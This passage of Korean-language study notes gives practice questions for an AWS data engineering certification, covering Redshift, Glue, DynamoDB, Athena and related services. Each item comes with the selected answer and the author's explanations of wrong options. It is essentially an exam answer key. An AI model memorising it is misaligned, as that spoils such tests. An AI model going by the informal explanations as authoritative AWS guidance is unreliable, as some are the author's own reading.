새 데이터는 Amazon Redshift 클러스터에 저장한다. 오래된 데이터는 S3 Standard 스토리지 클래스에 언로드한다. 데이터를 3년 후에 S3 Glacier Deep Archive 스토리지 클래스로 마이그레이션하는 수명 주기 규칙을 만든다. 10년 후에 데이터를 삭제하는 수명 주기 규칙을 구성한다.

=> S3 Glacier Deep Archive 스토리지 클래스로 마이그레이션되면 12시간 이내에는 검색되지 않음

 

새 데이터는 Amazon RDS 데이터베이스에 저장한다. 데이터베이스 스냅샷을 생성하고 스냅샷을 S3 Standard 스토리지 클래스로 전송한다. 스냅샷을 3년 후에 S3 Glacier Flexible Retrieval 스토리지 클래스로 마이그레이션하는 수명 주기 규칙을 만든다. 10년 후에 데이터를 삭제하는 수명 주기 규칙을 구성한다.

=> RDS 스냅샷을 S3 Glacier로 직접 마이그레이션할 수 없음

 

28 . 회사가 암호화되지 않은 Amazon Redshift 클러스터를 보유하고 있다. 새로운 보안 규정에 따라 AWS Key Management Service(AWS KMS) 키로 클러스터를 암호화해야 한다. 또한 6개월마다 암호화 키를 교체해야 한다.

다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

기존 Redshift 클러스터를 수정한다. 기본값 Redshift AWS KMS 키를 사용하여 클러스터를 암호화한다. 필요에 따라 Redshift 콘솔에서 키를 교체한다.

=> 고객 관리형 키까지는 필요 없음. 운영 오버 헤드가 생김

 

29 . 데이터 분석을 수행하기 위해 SQL을 사용하여 다양한 소스의 데이터를 쿼리하고 조인해야 하는 데이터 엔지니어가 있다. 데이터는 JSON 및 Parquet 형식으로 Amazon Redshift 클러스터와 Amazon S3 버킷에 있다.

다음 중 최소한의 개발 노력으로 데이터의 두 소스를 함께 쿼리하기 위해 사용해야 하는 AWS 서비스는 무엇인가?

 

더보기

Amazon S3 데이터 집합의 외부 테이블을 사용하여 Amazon Redshift 클러스터에서 외부 스키마를 만든다. Amazon Redshift Spectrum을 사용하여 내부 및 외부 테이블의 데이터를 조인하는 SQL 쿼리를 만든다.

 

30 . 한 회사가 공급망의 각 단계에 제품의 프로덕션 레코드를 저장한다. 데이터 엔지니어는 Amazon S3 Standard 스토리지에 매일 CSV 형식으로 저장되도록 이러한 레코드를 구성한다. 그런 다음 데이터 엔지니어는 Amazon Athena를 사용하여 프로덕션 레코드를 기반으로 보고용 테이블을 생성한다. 또한 데이터 엔지니어는 공급망의 각 단계에 해당하는 보고서를 생성한다. 데이터 엔지니어는 효율성을 유지하기 위해 스캔하는 데이터의 양을 제한하고자 한다. 다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

CREATE EXTERNAL TABLE 스테이트먼트에서 PARTITIONED BY 절을 사용하여 파티셔닝 스키마를 지정한다.

 

31 . 대중교통 시스템의 원격 측정 데이터를 수집, 변환하고 Amazon DynamoDB 테이블에 저장하는 회사가 있다. 데이터 엔지니어는 데이터를 분석하기 위한 솔루션을 설계해야 한다. 지난 90일 동안의 데이터를 테이블에서 가져와 일일 분석을 위해 사용자 지정 웹 페이지에 표시해야 한다. 오래된 원격 측정 데이터는 데이터가 삭제되기 전 3년 동안 Amazon S3 데이터 레이크에 보관해야 한다. 3년의 보관 기간 동안 회사는 때때로 Amazon Athena를 사용하여 데이터를 쿼리할 것이다.

다음 중 가장 비용 효율적으로 이러한 요구 사항을 충족하는 단계의 조합은 무엇인가? (3개 선택.)

 

더보기

DynamoDB 테이블에서 TTL을 사용하여 90일 후 데이터를 삭제한다.

 

DynamoDB 스트림을 만든다. 시스템에서 삭제된 항목에 대한 Lambda 이벤트 소스 필터를 사용하여 AWS Lambda 함수를 스트림 소비자로 구성한다. 삭제된 항목을 S3 Standard-Infrequent Access(S3 Standard-IA) 스토리지 등급을 사용하여 데이터 레이크 버킷으로 전송하는 함수를 코딩한다.

 

3년 후 데이터를 삭제하도록 Amazon S3 수명 주기 정책을 구성한다.

 

32 . 한 회사는 Amazon S3을 사용하여 데이터를 CSV 형식으로 저장한다. AWS Glue 작업을 통해 AWS Glue 데이터 카탈로그를 채워 테이블을 생성하고 스키마를 정의한다. 그런 다음 두 번째 AWS Glue 작업으로 테이블의 데이터를 처리하고 Amazon Redshift의 해당 테이블로 데이터를 전송한다. 데이터 엔지니어가 Redshift 테이블을 검사한 결과 중복된 레코드를 발견했다. 데이터 엔지니어는 중복 레코드를 제거하는 솔루션을 어떻게 설계해야 하는가?

 

더보기

첫 번째 AWS Glue 작업 내에 스테이징 테이블을 생성한다. 스테이징 테이블에 데이터를 로드한다. 스테이징 테이블의 데이터를 Amazon Redshift의 데이터와 병합한다.

=> 스테이징 테이블에서 업데이트와 삽입을 조합하면 기존 테이블에 새 데이터를 효율적으로 추가 가능

Redshift는 단일 데이터 원본에서 테이블을 업데이트하기 위한 단일 병합 또는 upsert 명령을 지원하지 않습니다. 하지만 스테이징 테이블을 생성하여 병합 작업을 수행할 수 있음.

https://docs.aws.amazon.com/redshift/latest/dg/merge-create-staging-table.html

 

* 오답 정리

새 데이터를 유지하기 전 중복 레코드를 제거하기 위해 DataFrame dropDuplicates() API를 사용한다.

=> Redshift 테이블이 아닌 스테이징 테이블(Glue 에서 작업한 내용을 복사하기 때문)에서 중복 레코드를 제거한다. 대상 테이블과 스테이징 테이블을 병합하면 Redshift 테이블의 중복 레코드는 그대로 유지됨.

 

두 번째 AWS Glue 작업에서는 MySQL 데이터베이스에 이전 데이터를 삽입한다. COPY 명령을 사용하여 Amazon Redshift에 데이터를 업로드한다.

=> COPY 명령은 Amazon S3의 파일, DynamoDB 테이블 또는 하나 이상의 원격 호스트의 텍스트 출력에서 데이터를 로드

 

AWS Glue의 내장된 ResolveChoice 변환 기능을 사용하여 가장 최근 데이터를 선택하고 중복 레코드를 제거한다.

=> ResolveChoice는 DynamicFrame에 2개 이상의 서로 다른 데이터 유형이 포함된 열이 있을 때 선택한 데이터를 확인할 때 사용

 

33 . 다양한 외부 데이터베이스에서 개인 식별 정보(PII)가 포함된 데이터를 수집하는 솔루션이 필요한 회사가 있다. 데이터는 Amazon S3 데이터 레이크에 저장된다. PII 데이터는 회사의 PII 정책으로 인해 데이터가 수집된 후에는 권한이 없는 개인에게 노출될 수 없다. 모든 PII 데이터는 노출을 제한하기 위해 적절하게 식별되고 마스킹되어야 한다. 다음 중 PII 데이터를 식별하고 마스킹하기 위해 회사가 사용해야 하는 솔루션은 무엇인가?

 

더보기

AWS Glue 작업과 PII 감지 변환을 사용하여 데이터를 수집하고 마스킹한다.

 

* 오답 정리

EMR을 사용하여 데이터를 수집한다. 외부 테이블과 함께 Amazon Redshift 동적 데이터 마스킹을 사용하여 데이터를 마스킹한다.

=> DDM은 PII 데이터를 마스킹하고 보호하는 데 사용되므로 PII 데이터는 미리 식별해야 된다는 전제가 필요함

 

34 . 데이터를 기계 학습 모델에 수집하기 전에 데이터 집합의 품질과 일관성을 평가해야 하는 데이터 엔지니어가 있다. 데이터 집합에는 여러 소스의 고객 인구 통계 정보가 포함되어 있다. 데이터 엔지니어는 평가에 필요한 데이터 프로파일링을 위해 AWS Glue DataBrew를 사용하려 한다. 다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

데이터 품질 규칙을 사용하여 제약 조건을 정의하고 값의 유효성을 검사한다.

=> https://docs.aws.amazon.com/databrew/latest/dg/profile.data-quality-rules.html

 

* 오답 정리

비주얼 프로파일링을 사용하여 데이터의 그래프와 차트를 생성한다.

=> 데이터 값에 대한 제약 조건을 정의하여 일관성을 검증할 수 있는 기능을 제공하지 않음

 

35 . 한 데이터 엔지니어는 온프레미스 MySQL 서버에서 Amazon RDS 기반으로 실행되는 MySQL 데이터베이스로 데이터를 복제하도록 설정해야 한다. 솔루션은 기존 데이터를 마이그레이션하고 추후 데이터 변경 사항도 복제할 수 있어야 한다. 데이터 엔지니어는 AWS Database Migration Service(AWS DMS)를 사용하여 솔루션을 설정할 계획이다.

다음 중 최소한의 노력으로 이러한 요구 사항을 충족하는 단계는 무엇인가? (2개 선택.)

 

더보기

소스 데이터베이스에서 적절한 트랜잭션 로깅을 사용한다.

 

전체 로드 및 변경 데이터 캡처(CDC) 유형을 사용하는 지속적인 복제 태스크를 생성한다.

=> https://docs.aws.amazon.com/dms/latest/userguide/CHAP_Task.CDC.html

 

36 . 한 금융 회사가 Amazon S3, AWS Lambda 및 Amazon DynamoDB가 포함된 서버리스 데이터 처리 애플리케이션을 개발 중이다. 사용자는 Amazon S3에 CSV 파일을 업로드한다. 업로드하면 Lambda 함수가 호출된다. Lambda 함수는 몇 분 내에 CSV 파일의 데이터를 처리하고 DynamoDB 테이블에 데이터를 저장한다. 크기가 작은 파일은 제대로 처리되고 있다. 그러나 회사는 여러 대용량 파일을 테스트할 때 파일이 전부 처리되지 않는 점을 발견했다. 이 문제의 원인은 무엇인가?

 

더보기

대용량 파일 처리 시간이 길어져서 Lambda 함수의 시간이 초과되었다.

 

37 . AWS Step Functions 상태 머신이 데이터 처리를 수행하고 있다. AWS Glue 크롤러를 비동기식으로 시작하기 위한 새로운 요구 사항이 접수되었다. AWS Glue 크롤러는 Amazon S3 버킷의 데이터를 처리한다. 이를 수행하려면 데이터 엔지니어가 추가 태스크 상태를 추가하여 Step Function 상태 머신 정의를 수정해야 한다. 또한 두 가지 기존 상태 사이에 새 태스크 상태를 추가해야 한다.

다음 이러한 요구 사항을 충족하는 태스크 정의 필드는 무엇인가? (3개 선택.)

 

더보기

Resource 필드에는 'arn:aws:states:::aws-sdk:glue:startCrawler'가 포함되어야 한다.

 

Next 필드는 다음 태스크 상태 이름으로 설정해야 한다.

 

Type 필드는 태스크로 설정해야 한다.

 

* 오답 정리

Parameters 필드에는 'arn:aws:states:::aws-sdk:glue:startCrawler'가 포함되어야 한다.

=> 태스크 상태의 Parameters 필드는 페이로드 템플릿으로, 리소스 속성에 있는 해당 SDK Amazon Resource Name(ARN)으로 전달된다. 이 경우 Parameters 필드에는 크롤러 이름이 포함되어야 한다

 

상태 Name은 StartCrawler로 설정해야 한다.

=> 상태 Name 값은 기능에 영향을 주지 않음

 

38 . 한 회사가 A 계정의 AWS Glue 크롤러를 사용하여 동일한 계정의 Amazon S3 버킷에 연결하고 있다. AWS Glue 크롤러는 S3 버킷에 저장된 AWS CloudTrail 로그에 액세스하고 카탈로그를 작성한다. 데이터 엔지니어는 AWS Glue 크롤러가 B 계정의 S3 버킷에 저장된 VPC 흐름 로그에 액세스하고 카탈로그화할 수 있도록 파이프라인을 설정해야 한다.

다음 중 어떤 단계를 조합해야 이러한 요구 사항을 충족할 수 있는가? (2개 선택.)

 

더보기

A 계정에서 AWS Glue 크롤러의 구성 설정을 수정하여 VPC 흐름 로그가 포함된 B 계정의 S3 버킷을 지정한다.

 

B 계정에서 VPC 흐름 로그가 포함된 S3 버킷에 액세스하는 데 필요한 권한을 부여하는 IAM 역할을 구성한다. A 계정의 AWS Glue 크롤러에 역할을 연결한다.

 

* 오답 정리

B 계정에서 VPC 흐름 로그가 포함된 S3 버킷의 버킷 정책을 구성한다. 버킷에 액세스하는 데 필요한 권한을 AWS Glue 크롤러에 부여한다.

 

=> AWS Glue 크롤러를 구성할 때 버킷에 액세스할 권한을 부여하려면 IAM 역할이 있어야 함

 

B 계정에서 AWS Resource Access Manager(AWS RAM)를 사용하여 VPC 흐름 로그가 포함된 S3 버킷에 대해 AWS Glue 크롤러 액세스 권한을 부여한다.

=> AWS RAM을 사용하면 다른 AWS 서비스에서 생성 및 관리되는 리소스를 공유할 수 있다. 하지만 AWS RAM은 AWS Glue 크롤러와 Amazon S3을 리소스로 지원하지 않음

 

39 . Amazon Redshift에서 SUPER 데이터 유형을 사용하여 과거 판매 기록을 반정형 데이터로 저장하는 의류 회사가 있다. 데이터 분석가는 과거 판매 기록과 그 중첩된 데이터를 쿼리해야 한다.

데이터 분석가가 최소한의 노력으로 데이터를 쿼리하려면 어떻게 해야 하는가?

 

더보기

점과 괄호 표기법을 사용하여 데이터를 쿼리한다.

=> https://docs.aws.amazon.com/redshift/latest/dg/query-super.html

 

* 오답 정리

사용자 정의 함수(UDF)를 사용하여 데이터를 쿼리한다.

=> 일부 사용자 정의 UDF는 반정형 데이터 집합을 탐색하고 쿼리하는 데 도움이 됩니다. 그러나 사용자 지정 UDF는 특히 기본 제공 PartiQL과 비교했을 때 사용자 지정 함수를 작성하는 데 더 많은 노력이 필요

 

40 . Amazon S3 버킷에 Avro 파일로 저장된 기록 데이터를 분석하려는 회사가 있다. 전체 데이터 크기는 약 50TB이다. 데이터 크기는 매달 5TB씩 증가한다. 데이터는 부서, 날짜 및 고객 ID에 기반하여 계층 구조로 저장된다. 회사는 각 부서에서 해당 부서의 데이터에만 액세스할 수 있도록 데이터 액세스를 분리하려고 한다. 데이터는 월말에 보고서를 생성하기 위해서만 쿼리한다. 보고서는 날짜 및 고객 ID별로 필터링해야 한다. 다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

각 부서의 S3 접두사 각각을 가리키는 여러 테이블을 AWS Glue 데이터 카탈로그에 만들고 파티셔닝 스키마를 정의한다. AWS Lake Formation을 구성하고 부서별로 사용자에게 테이블에 대한 권한을 부여한다. 월말에 Amazon Athena를 사용하여 쿼리를 실행한다.

 

* 오답 정리

AWS Identity and Access Management(AWS IAM) 권한을 사용하여 접두사를 기준으로 각 부서에 S3 데이터에 대한 액세스 권한을 부여한다. 월말에 Amazon S3 Select를 사용하여 보고서 생성을 위해 버킷의 데이터를 쿼리한다.

=> S3 Select는 필요한 데이터의 하위 집합만 검색할 수 있고, Avro 파일과 호환되지 않으며 여러 파일을 쿼리할 수 없다.

 

41 . 반려동물 위탁 서비스를 제공하는 회사가 Amazon Redshift를 데이터 웨어하우스로 사용한다. 회사는 3개의 별도 테이블에 데이터를 저장하고 있다. 테이블에 포함되는 사항은 다음과 같다.

  1. Owner라는 반려동물 보호자 테이블
  2. Pets라는 반려동물 정보 테이블
  3. Care라는 관리 지침 테이블

Owner 테이블은 크기가 작고 데이터 변경이 거의 없다. Pets와 Care 테이블은 크기가 크고 데이터가 자주 변경된다. Pets와 Care 테이블은 PetID를 기반으로 조인된다. Pets와 Owner 테이블은 OwnerID를 기반으로 조인된다.

회사는 3개 테이블 모두의 데이터가 필요한 쿼리를 많이 실행하고 있다. 데이터 엔지니어는 쿼리 조인 성능을 최적화하기 위해 분산 스타일을 수동으로 구성해야 한다. 또한 데이터 엔지니어는 데이터 스토리지를 가능한 한 적게 유지해야 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Owner 테이블에 ALL 분산 스타일을 사용한다. Pets 및 Care 테이블에 KEY 분산 스타일을 사용한다.

=> 자주 조인하는 테이블은 KEY 분산을 통해 각 테이블의 관련 데이터를 물리적으로 함께 저장,

크기가 작고 정적인 테이블들은 ALL 분산 권장, EVEN 분산은 무작위로 배치되며 함께 저장되지 않음 JOIN 과 어울리지 않음

 

42 . 한 회사에서 데이터 집약적인 워크로드를 AWS Lambda 함수로 마이그레이션하려고 한다. 기존 워크로드는 250GB의 탑재된 데이터 볼륨을 참조한다. 이 회사는 Lambda용 코드를 리팩터링하는 동안 변경 사항을 가능한 한 최소화하고자 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon Elastic File System(Amazon EFS) 파일 시스템 및 액세스 포인트를 구성한다. 참조 데이터를 파일 시스템에 업로드한다. 액세스 포인트에서 읽고 쓰도록 Lambda 함수를 구성한다.

=> https://docs.aws.amazon.com/lambda/latest/dg/configuration-filesystem.html

 

* 오답 정리

참조 데이터를 Lambda /tmp 디렉터리에 업로드한다. /tmp에서 읽고 쓰도록 Lambda 함수를 구성한다.

=> Lambda는 /tmp 디렉터리 형태로 각 함수 호출에 대한 로컬 스토리지를 제공한다. 최대 용량이 10GB인 임시 스토리지용 디렉터리를 사용할 수 있음.

 

43 . 날씨 패턴을 추적하는 회사에서 전 세계에 많은 센서를 배포했다. 센서에서는 날씨 데이터가 포함된 1KB XML 파일이 지속적으로 생성된다. 모든 센서의 데이터는 15분마다 집계되어 Amazon S3 버킷에 전송된다. 버킷의 데이터는 접두사 형식 YYYYY-MM-DD-HH-mm으로 저장된다.

이 회사는 Amazon Redshift를 사용하여 최신 날씨 데이터가 반영된 대시보드를 지속적으로 업데이트하고자 한다. 데이터 엔지니어는 Amazon Redshift에 데이터를 로드하는 수집 솔루션을 설계해야 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

데이터가 S3 버킷으로 전송된 후에 시작되는 AWS Glue 예약 추출, 변환 및 로드(ETL) 작업을 구성한다. XML 파일을 변환하고 데이터를 Amazon Redshift로 출력하는 작업을 구성하는 데 ‘작은 파일 그룹화’ 및 ‘작업 북마크’ 기능을 사용한다.

=> ‘작은 파일 그룹화’ 기능을 사용하면 여러 개의 작은 파일들을 모아 한 꺼번에 처리 가능하며, ‘작업 북마크’ 기능을 사용하면 Amazon S3에서 이전에 처리된 데이터가 다시 처리되어 중복 생성되지 않도록 할 수 있음

 

* 오답 정리

S3 버킷에서 XML 파일을 수집하도록 Amazon Kinesis Data Firehose 전송 스트림을 설정한다. XML 파일을 변환하고 데이터를 Amazon Redshift로 출력하도록 스트림에서 처리 중인 AWS Lambda 함수를 구성한다.

=> S3 버킷에서 데이터를 수집하도록 Firehose 스트림을 구성할 수 없음

https://docs.aws.amazon.com/firehose/latest/dev/basic-write.html

 

XML 파일이 S3 버킷으로 전송된 후에 시작되는 Redshift 예약 SQL 쿼리를 만든다. S3 버킷에서 정규 표현식이 $YYYY-MM-DD-HH-mm인 SQL COPY 명령을 사용하여 데이터를 로드한다.

=> COPY 명령어로 XML 파일은 복사 불가능

https://docs.aws.amazon.com/redshift/latest/dg/copy-parameters-data-format.html

 

44 . AWS Glue DynamicFrame을 사용하여 추출, 변환 및 로드(ETL) 작업을 만든 데이터 엔지니어가 있다. 소스 AWS Glue 테이블은 세부적으로 파티셔닝되어 있다. 테이블은 쿼리 향상을 위해 파티션 인덱스를 사용한다. 쿼리 성능을 높이고 비용을 절감하기 위해 ETL을 최적화하려면 데이터 엔지니어는 DynamicFrame에 필요한 데이터만 나열하고 읽어야 한다. 또한 엔지니어는 테이블 파티션 인덱스를 사용해야 한다.

다음 중 가장 비용 효율적인 방식으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

DynamicFrame을 만들 때 서버 측 필터링을 구현하기 위해 카탈로그 파티션 조건자를 사용한다.

=> catalogPartitionPredicate 옵션을 사용한 서버 측 필터링은 AWS Glue 데이터 카탈로그의 파티션 인덱스를 활용

 

* 오답 정리

파티션 메타데이터에 직접 필터를 적용하기 위해 푸시다운 조건자를 사용하여 파티션을 사전 필터링한다.

=> push_down_predicate 옵션은 카탈로그의 모든 파티션들을 나열한 후, 해당 파티션들의 파일들을 나열하기 전에 필터링 하는 옵션임. 세부적으로 파티셔닝이 되어 있다면 성능 저하 유발

 

DynamicFrame을 만들 때 Amazon S3 Glacier Deep Archive 스토리지 등급을 제외한다.

=> AmazonS3Exception: The operation is not valid for the object's storage class. 오류 해결 방법

 

원본 테이블의 모든 입력 파일을 단일 인메모리 파티션으로 그룹화한 다음 직접 쿼리한다.

=> S3 데이터 스토어에서 파일을 읽을 때 파일을 그룹화하도록 속성을 설정할 수 있다. 이러한 속성을 통해 각 ETL 태스크는 입력 파일 그룹을 단일 인메모리 파티션으로 읽을 수 있다. groupSize를 상당히 크게 정의하면 클러스터의 활용도가 떨어질 수 있다. 이 솔루션은 각 ETL 태스크가 여전히 S3 데이터 스토어에서 파일을 나열하고 읽을 수 있기 때문에 Amazon S3에서 직접 읽으며 많은 수의 작은 파일이 있는 경우에 유용

 

45 . 한 데이터 엔지니어는 AWS Glue 작업을 사용하여 Amazon S3에서 많고 작은 JSON 파일을 읽는다. 그 다음 작업에서는 분석 쿼리를 위해 파일을 변환한다. 현재 작업에서는 많고 작은 파일을 Amazon S3으로 출력한다. 데이터 엔지니어는 작업에서 더 큰 파티션을 만들려고 한다. 솔루션으로 인해 작업의 런타임이 크게 늘어나서는 안 된다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Glue 작업의 groupSize 파라미터를 더 큰 값으로 설정한다.

=> groupSize 파라미터를 사용하여 더 큰 파티션을 생성. 많은 수의 작은 파일을 읽을 때 특히 유용

 

* 오답 정리

Amazon S3에 쓰기 전에 AWS Glue 작업에서 재분할을 수행한다.

=> 전체 셔플을 수행하며 작업의 런타임이 크게 증가

 

boundedSize 파라미터를 사용하여 AWS Glue 작업에서 워크로드 분할을 구성한다.

=> AWS Glue ETL(추출, 변환 및 로드) 작업에서 실행되는 데이터의 양을 제어. 작업에서 너무 많은 데이터를 처리하여 메모리 부족 오류가 발생하는 경우를 방지

 

46 . Amazon Simple Queue Service(Amazon SQS) 대기열에서 JSON 메시지로 배송 주문을 수신하는 자동차 회사가 있다. 이 회사는 주문 관리를 위해 AWS Step Functions 워크플로를 사용한다. 데이터 엔지니어는 대기열에서 워크플로로 주문을 전달하는 솔루션을 만들어야 한다. 차량 20대 미만인 주문은 폐기해야 한다.

다음 중 최소한의 개발 노력으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon EventBridge를 사용하고 EventBridge Pipes로 새 파이프를 만든다. SQS 대기열을 소스로 선택한다. 이벤트 패턴을 추가하여 주문을 필터링한다. 관리 워크플로우를 대상으로 선택한다.

=> https://docs.aws.amazon.com/eventbridge/latest/userguide/pipes-concepts.html

 

47 . 제품 리뷰를 저장하기 위해 Amazon DynamoDB 테이블을 설계해야 하는 전자 상거래 회사가 있다. 각 리뷰에는 제품 ID, 사용자 ID, 평점, 리뷰 텍스트 및 타임스탬프가 포함된다.

기본 액세스 패턴은 다음과 같다.

  1. 최신 리뷰를 기준으로 정렬된 제품에 대한 모든 리뷰를 검색한다.
  2. 특정 제품에 대한 최신 리뷰를 검색한다.

다음 중 이러한 요구 사항을 가장 효율적으로 충족하는 스키마 디자인은 무엇인가?

 

더보기

테이블 파티션 키: 'ProductID'

테이블 정렬 키: 'ReviewTimestamp'

=>

최신 리뷰를 기준으로 정렬되어 있다 -> 리뷰가 Sort Key 이다.

특정 제품 검색 시 리뷰도 같이 보고 싶다 -> 제품 키가 Partition Key 이다.

 

48 . 한 회사에서 Amazon S3을 사용하여 AWS에 데이터 레이크를 구축했다. 하지만 데이터를 분류하는 메타데이터가 없다. 데이터 엔지니어는 데이터 레이크 테이블과 열을 카탈로그화하여 데이터 레이크를 보다 잘 구성할 수 있는 자동화 프로세스를 만들려고 한다. 잠재적 스키마 변경 사항을 지원하고 변경 내역을 기록하는 솔루션이 필요하다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

AWS Glue 크롤러를 사용하여 Amazon S3의 데이터를 스캔하고 AWS Glue 데이터 카탈로그에 테이블과 열을 생성한다. 크롤러가 정기적으로 실행되도록 예약하여 스키마의 모든 변경 사항을 식별하고 새 버전의 테이블을 생성한다.

=> AWS Glue 크롤러를 실행 예약할 수 있음

 

49 . 한 회사는 규정 준수를 위해 특정 보존 한도에 도달한 후 Amazon S3 데이터 레이크에서 레코드를 삭제해야 한다.

다음 중 최소한의 운영 오버헤드로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Apache Iceberg 테이블 형식을 사용하여 테이블을 구성한다. Amazon Athena를 사용하여 레코드를 삭제한다.

=> Iceberg는 비즈니스 요구 사항이 변경될 때 레코드를 삭제하는 데 사용할 수 있는 트랜잭션 데이터 레이크 테이블을 제공

 

* 오답 정리

Delta Lake 테이블 형식을 사용하여 테이블을 구성한다. Amazon Redshift Serverless에서 외부 테이블을 사용하여 레코드를 삭제한다.

=> Amazon S3 데이터 레이크의 원자성, 일관성, 격리성 및 내구성(ACID) 트랜잭션을 지원

Delta Lake 테이블과 상호 작용하는 Redshift Spectrum은 읽기 전용이며 삭제 작업을 지원하지 않음

 

Apache Hudi 테이블 형식을 사용하여 테이블을 구성한다. Amazon Athena를 사용하여 레코드를 삭제한다.

=> Athena는 삭제 작업을 수행하기 위한 Hudi 테이블 쓰기는 지원하지 않음

 

Apache Iceberg 테이블 형식을 사용하여 테이블을 구성한다. Amazon Redshift 프로비저닝 클러스터가 있는 외부 테이블을 사용하여 레코드를 삭제한다.

=> Iceberg 테이블과 상호 작용하는 Redshift Spectrum은 읽기 전용이며 삭제 작업을 지원하지 않음

 

https://aws.amazon.com/ko/blogs/big-data/choosing-an-open-table-format-for-your-transactional-data-lake-on-aws/

 

50 . 한 글로벌 에너지 회사가 건물의 다양한 장비에서 센서 측정값을 캡처하여 Amazon DynamoDB에 측정값을 저장하는 솔루션을 개발 중이다. 여러 지역에 건물이 있다. 각 건물에는 여러 개의 장비가 있다. 각 장비에는 측정값을 캡처하는 센서가 여러 개 있다. 센서는 10분마다 새로운 값을 내보낸다. 데이터 엔지니어는 테이블 내에서 복합 키를 사용하려고 하는데, 여기서 파티션 키는 BUILDING_ID이고 정렬 키는 DATETIMESTAMP이다.

애플리케이션 개념 증명을 테스트하는 동안 데이터 엔지니어는 불균형한 데이터 액세스 패턴을 발견했다.

다음 중 불균형한 데이터 액세스 패턴을 해결할 솔루션은 무엇인가?

 

더보기

처리량 균형을 맞추기 위해 SENSOR_ID와 같이 더 좁은 파티션 키를 사용하여 새 DynamoDB 테이블을 만든다.

=> DynamoDB 테이블의 모든 파티션은 초당 최대 3,000개의 읽기 단위와 초당 1,000개의 쓰기 단위의 용량을 제공하도록 설계. I/O 요청의 균형이 맞지 않으면 ‘핫’ 파티션이 발생하여 I/O 용량이 제한되고 비효율적으로 사용될 수 있다. 요청 내에서 일관성을 높이기 위해 더 고유한 파티션 키를 변경하는 솔루션으로 ‘핫’ 파티션을 방지할 수 있다

https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/bp-partition-key-uniform-load.html

 

* 오답 정리

로컬 보조 인덱스(LSI)로 새 DynamoDB 테이블을 생성하여 처리량 균형을 조정한다.

=> LSI는 기본 테이블의 용량을 공유

 

51 . Amazon Elastic Kubernetes Service(Amazon EKS)에서 인력 관리 시스템을 운영하는 회사가 있다. 이 관리 시스템은 여러 클러스터와 관리형 노드 그룹에서 수백 개의 포드로 실행되는 수십 개의 마이크로서비스로 구성되어 있다. 이 회사는 모니터링과 디버깅을 향상하려 한다. 회사는 마이크로서비스에 대한 더 나은 가시성을 원한다. 데이터 엔지니어는 중앙 위치에서 낮은 수준의 지표와 로그 데이터를 볼 수 있는 솔루션을 설계해야 한다. 회사는 쿼리 결과를 거의 실시간으로 시각화하려 한다.

다음 중 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

Amazon CloudWatch Container Insights를 사용하여 마이크로서비스의 지표와 로그를 CloudWatch로 수집한다. 로그를 전송 스트림으로 전송하는 Amazon Kinesis Data Firehose 구독 필터를 생성한다. 스트림을 Amazon OpenSearch Service에 연결한다.

=> CloudWatch Container Insights는 클러스터, 포드, 컨테이너 수준에서 컨테이너 관련 지표를 수집

 

52 . 2PB의 데이터에 해당하는 과거 뉴스 기사를 찾을 때 관련성 있는 결과를 생성하기 위해 효율적인 내부 검색 엔진이 필요한 글로벌 미디어 회사가 있다. 데이터 엔지니어가 기사의 대규모 인덱스를 호스팅하기 위해 Amazon OpenSearch Service 도메인을 준비하고 있다. 이 검색 엔진은 연중무휴 24시간 내내 사용되어야 한다. 데이터 엔지니어는 성능과 비용이 모두 최적화된 인덱스 스토리지 솔루션을 선택해야 한다.

다음 중 이러한 요구 사항을 충족하는 스토리지 솔루션은 무엇인가?

 

더보기

인덱스를 저장할 도메인에 UltraWarm 데이터 노드를 추가하고 사용한다.

=> UltraWarm은 최대 3PB까지 확장 가능. 캐싱을 사용하여 데이터를 검색할 때 빠른 대화형 환경을 보장. 핫 스토리지와 콜드 스토리지의 절충안

 

* 오답 정리

도메인의 핫 데이터 노드에 인덱스를 저장한다.

=> 핫 스토리지는 클러스터 노드에 연결된 블록 스토리지에 데이터를 보관. Amazon EBS 볼륨 유형 중에서 선택. 가장 비쌈

 

인덱스 상태 관리(ISM)를 사용하여 일정에 따라 스토리지 등급 간에 인덱스를 이동한다.

=> 연중무휴 24시간 내내 인덱스를 쿼리. 최적화 불필요

 

53 . 한 공급망 회사가 Amazon Redshift에서 데이터 웨어하우스를 운영하고 있다. 회사는 2주마다 업데이트되는 인벤토리 데이터를 사용하여 분석하려고 한다. 데이터는 공급망의 새 인벤토리 항목의 레코드로 구성되어 있다. 또한 데이터는 재배치된 항목 또는 상태가 업데이트된 항목의 변경 사항이 반영된 레코드로 구성되어 있다. 회사는 예측 목적으로 과거 내역을 상세히 분석할 인벤토리 데이터가 필요하다. Amazon Redshift에는 중복 레코드가 없어야 한다. 데이터 엔지니어는 데이터 정확도를 확인하기 위해 업데이트 프로세스를 구성해야 한다.

다음 중 가장 효율적으로 이러한 요구 사항을 충족하는 솔루션은 무엇인가?

 

더보기

2주마다 임시 스테이징 테이블을 생성하고 Amazon Redshift에서 MERGE 작업을 수행한다. 일치하는 항목이 감지되지 않으면 INSERT 작업을 수행하여 값을 삽입하는 조건을 지정한다. 일치하는 항목이 감지되면 UPDATE 작업을 수행하여 값을 업데이트하는 조건을 지정한다.

=> Amazon Redshift는 임시 스테이징 테이블을 사용하는 MERGE 작업을 지원

 

* 오답 정리

Drop Duplicates 변환과 함께 AWS Glue 작업을 사용하여 2주마다 Amazon Redshift에 새 데이터를 수집한다.

